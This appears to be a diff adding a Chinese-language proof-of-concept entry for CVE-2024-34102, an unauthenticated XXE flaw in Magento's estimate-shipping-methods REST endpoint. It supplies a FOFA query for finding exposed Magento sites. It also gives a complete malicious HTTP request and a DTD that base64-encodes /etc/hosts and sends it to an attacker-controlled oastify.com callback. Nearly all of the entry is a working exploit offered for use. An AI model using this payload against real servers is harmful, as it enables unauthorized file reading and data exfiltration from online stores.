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+## Magento开源电子商务平台接口estimate-shipping-methods存在XXE漏洞(CVE-2024-34102)
+
+2024年6月，Adobe官方披露CVE-2024-34102 Magento estimate-shipping-methods XXE漏洞，攻击者可在无需登陆的情况下构造恶意请求利用XXE读取文件，或者结合CVE-2024-2961 可能造成远程代码执行。
+
+## fofa
+
+```
+app="Adobe-Magento"
+```
+
+## poc
+
+```yaml
+POST /rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods HTTP/2
+Host: example.com
+Accept: application/json, text/javascript, */*; q=0.01
+X-Requested-With: XMLHttpRequest
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
+Content-Type: application/json
+Content-Length: 274
+
+{
+  "address": {
+    "totalsReader": {
+      "collectorList": {
+        "totalCollector": {
+          "sourceData": {
+            "data": "<?xml version=\"1.0\" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM \"http://your_ip:9999/dtd.xml\"> %sp; %param1; ]> <r>&exfil;</r>",
+            "options": 16
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+DTD 文件
+
+```yaml
+<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
+<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://collabid.oastify.com/dtd.xml?%data;'>">
+```
+
+![img](https://cdn.prod.website-files.com/64233a8baf1eba1d72a641d4/667bc2f3b5142eeccc853498_xxe-dtd-out-magento.png)
+
+## 漏洞来源
+
+- https://www.assetnote.io/resources/research/why-nested-deserialization-is-harmful-magento-xxe-cve-2024-34102